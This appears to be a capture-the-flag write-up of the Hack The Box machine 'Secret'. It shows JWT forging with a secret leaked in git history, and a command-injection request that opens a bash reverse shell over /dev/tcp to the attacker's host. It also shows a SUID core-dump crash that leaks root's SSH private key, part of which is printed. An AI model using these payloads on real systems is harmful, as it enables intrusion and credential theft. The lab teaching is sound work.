Secret starts with analyzing web source to recover a secret token from older commit. The secret is then used to forge JWT Admin token for accessing a private API route which is vulnerable to command injection and that eventually allows me to gain shell access on the system. For the root part, there’s a custom program with SUID bit that can be exploited by crashing it.

Skills Learned

  • Forging JWT
  • Command injection in API
  • Abuse Core Dump with SUID

Tools

  • nmap
  • JWT tool
  • curl

Reconnaissance

Nmap

Full TCP port scan with nmap discovers 3 open ports: SSH on its default port, HTTP on port 80 handled by NGINX, and another HTTP on port 3000 handled by Node.js.

→ kali@kali «secret» «10.10.14.28» 
$ fscan 10.10.11.120 secret
nmap -p- 10.10.11.120 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,3000 -sC -sV -oA nmap/all-tcp-ports-secret 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 23:20 EDT
Nmap scan report for 10.10.11.120
Host is up (0.073s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds

Enumeration

TCP 80 - Website

Visiting the web on port 80 shows an online API documentation page called “DUMBDocs”.

image-20220926161011625

The Live Demo button points to /api/, but it’s a 404.

image-20211031105210501

At the bottom of the page, there’s a button to download the API source code and I’ll grab it.

image-20211031104419915

Clicking on any of the available card menus (introduction, installation, etc.) redirects to /docs, which in this section it explains how to use the API.

image-20211031110930866

Some sections contain lorem ipsum text, some are not. That should be the hint where to go further

TCP 3000 - Website

On port 3000, it serves the same site as on port 80, but it served by node.js not NGINX.

image-20211031110717336

From here, I’ll look into the API.

API

Register

According to the documentation (/docs), I can register a user by sending API request to /api/user/register.

→ kali@kali «secret» «10.10.14.28» 
$ curl -H 'Content-Type: application/json' -d '{"name": "syncrst","email": "syncrst1@secret.com","password": "syncrst"}' http://secret.htb:3000/api/user/register
{"user":"syncrst"}

The response returns my username and that means the registration was successful.

Login -> JWT token

Now that I’ve been registered, I can login to get a JWT token by sending API request to /api/user/login.

→ kali@kali «secret» «10.10.14.28» 
$ curl -H 'Content-Type: application/json' -d '{"email": "syncrst1@secret.com","password": "syncrst"}' http://secret.htb:3000/api/user/login 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzMxYzk5OGJkMDdlMGQ3YTU1ODcyOGYiLCJuYW1lIjoic3luY3JzdCIsImVtYWlsIjoic3luY3JzdDFAc2VjcmV0LmNvbSIsImlhdCI6MTY2NDIwNzU5OX0.VGfQxKW8DbdCCWGTeyEo6MAHhOkEqeaW-IBvyaik4oc

The payload data of this JWT can be seen with jwt.io.

image-20220927133742256

Private Route

The last API route in this docs is /api/priv. I can use the auth token I got on this route, where it basically just checks for user role or privilege.

→ kali@kali «secret» «10.10.14.28» 
$ curl -sH 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzMxYzk5OGJkMDdlMGQ3YTU1ODcyOGYiLCJuYW1lIjoic3luY3JzdCIsImVtYWlsIjoic3luY3JzdDFAc2VjcmV0LmNvbSIsImlhdCI6MTY2NDIwNzU5OX0.VGfQxKW8DbdCCWGTeyEo6MAHhOkEqeaW-IBvyaik4oc' http://secret.htb:3000/api/priv | jq
{
  "role": {
    "role": "you are normal user",
    "desc": "syncrst"
  }
}

It’s still vague what to do with this API, so I’ll look into the source code.

Source Code Analysis

Directory Structure

The source code has the typical structure of node.js application

→ kali@kali «loot» «10.10.14.28» 
$ tree -L 2 . 
.
├── files.zip
└── local-web
    ├── index.js
    ├── model
    ├── node_modules
    ├── package.json
    ├── package-lock.json
    ├── public
    ├── routes
    ├── src
    └── validations.js

7 directories, 5 files

Commit History

When I enter the local-web directory, my git plugin is activated, which indicates it contains git objects. It’s worth to start with git first.

Running git log shows the commit history, author and email address.

→ kali@kali «local-web» «10.10.14.28» git:(master)$ git log 
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

Commit 67d8da7 seems interesting. When comparing it with commit de0a46b, there’s a deleted secret token.

→ kali@kali «local-web» «10.10.14.28» git:(master)$ git diff 67d8da7 de0a46b | cat
diff --git a/.env b/.env
index 31db370..fb6f587 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = secret
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

I’ll note that secret token.

Web Routes

Looking at the index.js file, there are three defined routes: privRoute, authRoute, and webroute.

...[SNIP]...
const privRoute = require('./routes/private') # location: routes/private.js
...[SNIP]...
// import routs 
const authRoute = require('./routes/auth'); # location: routes/auth.js
const webroute = require('./src/routes/web') # location: src/routes/web.js
...[SNIP]...
//middle ware 
app.use(express.json());
app.use('/api/user',authRoute)
app.use('/api/', privRoute)
app.use('/', webroute)

webroute is the router that handles the documentation web while authRoute is the router that handles the API for user registration (/api/user/register) and login (/api/user/login) .

As for privRoute, it handles the API for private route (/api/priv). But, there’s a hidden route /api/logs that wasn’t listed in the API documentation. What’s more interesting is that /api/logs route is vulnerable to command injection only if I pass the verification as user theadmin.

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`; # command injection
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

Foothold

Shell as dasith

Forging Admin Token

With the secret token obtained, I’ll write a program to forge valid JWT token for user theadmin.

package main

import (
	"fmt"

	jwt "github.com/dgrijalva/jwt-go"
)

func main() {
	claims := struct {
		ID    string `json:"_id,omitempty"`
		Name  string `json:"name,omitempty"`
		Email string `json:"email,omitempty"`
		jwt.StandardClaims
	}{
		ID:    "6114654d77f9a54e00f05777",
		Name:  "theadmin",
		Email: "root@dasith.works",
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	secret := "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
	signedToken, _ := token.SignedString([]byte(secret))
	fmt.Printf("%s", signedToken)
}

I’ll run the program to get the auth token.

→ kali@kali «exploits» «10.10.14.28»
$ go run forge-jwt.go
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIn0.TKKattF_Exm2kXW4PQOo9jyrW0cMYuQkiQWP7DuhPn0

Now I can verify if that token works by accessing the /api/priv route

→ kali@kali «exploits» «10.10.14.28»
$  curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/priv" | jq
{
  "creds": {
    "role": "admin",
    "username": "theadmin",
    "desc": "welcome back admin,"
  }
}

Command Injection

With admin token, I can access the /api/logs route.

router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
...[SNIP]...
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
     if(err){
        res.status(500).send(err);
          return
     }
       res.json(output);
})
...[SNIP]...

This route takes one query: file, where its value then get passed into getLogs and eventually executed as OS command in the exec() function. Knowing this, I can inject OS command in the file query with | (pipe):

→ kali@kali «exploits» «10.10.14.28»
$ curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/logs?file=%3E%2fdev%2fnull|uname%20-a"
"Linux secret 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux\n"

And that worked.

the > and / symbols are URL encoded.

Reverse Shell

This time I’ll setup a netcat listener and send URL-encoded bash reverse shell

→ kali@kali «exploits» «10.10.14.28»
$ curl -s -H 'Auth-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfa...[SNIP]...Pn0' "http://secret.htb:3000/api/logs?file=%3E%2fdev%2fnull|bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.28%2F88%200%3E%261%22"

On my listener:

→ kali@kali «~» «10.10.14.28»
$ nc -nvlp 88
listening on [any] 88 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.120] 46050
bash: cannot set terminal process group (2131): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$

I’ll upgrade my shell so it can be more interactive

dasith@secret:~/local-web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
dasith@secret:~/local-web$ export TERM=xterm
export TERM=xterm
dasith@secret:~/local-web$ ^Z
[1]  + 7417 suspended  nc -nvlp 88
→ kali@kali «~» «10.10.14.28»
$ stty raw -echo;fg
[1]  + 7417 continued  nc -nvlp 88

dasith@secret:~/local-web$

The user flag is done here.

dasith@secret:~$ cat user.txt
c95a3f...[SNIP]...

Privilege Escalation

Shell as root

Enumeration

Doing a recursive search with the find command reveal a crash file

dasith@secret:/opt$ find / -type f -user dasith 2>/dev/null | grep -v 'proc\|\.npm\|local-web'
/var/crash/_opt_count.1000.crash
...[SNIP]...

That naming lead me to /opt, where I find a C code, a binary, and a log file.

dasith@secret:/$ ls /opt/
code.c  count  valgrind.log
dasith@secret:/$ cd /opt/
dasith@secret:/opt$ ls -la
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 .
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ..
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log

The binary drews my attention because it has SUID bit.

When I run it, it asks for a file/directory and when it finishes, I’m given with an option to save the results.

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: /tmp/test
dasith@secret:/opt$ cat /tmp/test
Total characters = 33
Total words      = 2
Total lines      = 2

From here, I’ll look into the C code.

Source Code Analysis

Since the rests isn’t that important, I’ll start from the main function.

In the code snippet below, the first thing that this program do is ask the user for input and then it decides which functions to call: dircount if the input is a directory and filecount if the input is a file.

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);
...[SNIP]...

The next thing this program do is dropping the root privilege to normal user, and then it’s forced to generate a core dump. Lastly, it’ll ask whether the user wants to save the result or not.

...[SNIP]...
    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1); 
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

The key here is that, with core dump enabled ( prctl(PR_SET_DUMPABLE, 1)), when the program crashes, the memory state of this program will be recorded and dumped to a crash file. That file is typically used for diagnosing the program fault.

Abuse Core Dump - Force Crash

When I open a file like /root/.ssh/id_rsa in this program and if by accident it crashes, the content of that id_rsa will definitely got dumped into the crash file.

Now the question is, how to intentionally crash this program?

According to this post on StackOverFlow, sending kill -11 can trigger a crash on a program, which eventually produces a core dump.

First, I will open another sessions, so I have two in total. On the first session, I’ll run the count program and keep it running in the result section.

dasith@secret:/tmp/$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: y
Path: 

Then on the other session, you guess it, I will send a kill signal to crash the program.

dasith@secret:/opt$ kill -11 $(pidof count)

It crashes

Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: y
Path: Killed

The crash file is generated under /var/crash/.

dasith@secret:/tmp$ ls -l /var/crash/_opt_count.1000.crash
-rw-r----- 1 dasith dasith 28717 Oct 31 08:39 /var/crash/_opt_count.1000.crash

The crash file can be unpacked into a separate files using the apport-unpack utility, which also installed in this machine.

dasith@secret:/tmp/$ mkdir .syncrst && apport-unpack /var/crash/_opt_count.1000.crash .syncrst
dasith@secret:/tmp/$ ls -la .syncrst
total 440
drwxr-xr-x  2 dasith dasith   4096 Oct 31 08:43 .
drwxrwxrwt 16 root   root     4096 Oct 31 08:25 ..
-rw-r--r--  1 dasith dasith      5 Oct 31 08:43 Architecture
-rw-r--r--  1 dasith dasith 380928 Oct 31 08:43 CoreDump
-rw-r--r--  1 dasith dasith      1 Oct 31 08:43 CrashCounter
-rw-r--r--  1 dasith dasith     24 Oct 31 08:43 Date
-rw-r--r--  1 dasith dasith     12 Oct 31 08:43 DistroRelease
-rw-r--r--  1 dasith dasith     10 Oct 31 08:43 ExecutablePath
-rw-r--r--  1 dasith dasith     10 Oct 31 08:43 ExecutableTimestamp
-rw-r--r--  1 dasith dasith      5 Oct 31 08:43 ProblemType
-rw-r--r--  1 dasith dasith     10 Oct 31 08:43 ProcCmdline
-rw-r--r--  1 dasith dasith     10 Oct 31 08:43 ProcCwd
-rw-r--r--  1 dasith dasith     64 Oct 31 08:43 ProcEnviron
-rw-r--r--  1 dasith dasith   2144 Oct 31 08:43 ProcMaps
-rw-r--r--  1 dasith dasith   1343 Oct 31 08:43 ProcStatus
-rw-r--r--  1 dasith dasith      2 Oct 31 08:43 Signal
-rw-r--r--  1 dasith dasith     29 Oct 31 08:43 Uname
-rw-r--r--  1 dasith dasith      3 Oct 31 08:43 UserGroups

The CoreDump file is the one that contains the id_rsa.

dasith@secret:/tmp/$ cat .syncrst/CoreDump
...[SNIP]...
□☺□$□□□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□□xWU□□wȏ♥□□□xWU□□□□□□□□□□□xWU□□□□□□wȏ`□wȏ◄►-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
...[SNIP]...
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
...[SNIP]...

With that key, I can SSH login as root and grab the root flag!

→ kali@kali «exploits» «10.10.14.28»
$ ssh -i coredump.ssh root@10.10.11.120
The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.120' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 31 Oct 2021 08:16:22 AM UTC

  System load:  0.0               Processes:             223
  Usage of /:   52.8% of 8.79GB   Users logged in:       0
  Memory usage: 20%               IPv4 address for eth0: 10.10.11.120
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Oct 31 07:47:50 2021 from 10.10.14.91
root@secret:~# id
uid=0(root) gid=0(root) groups=0(root)
root@secret:~# cat root.txt
d1d6d....[SNIP]....

References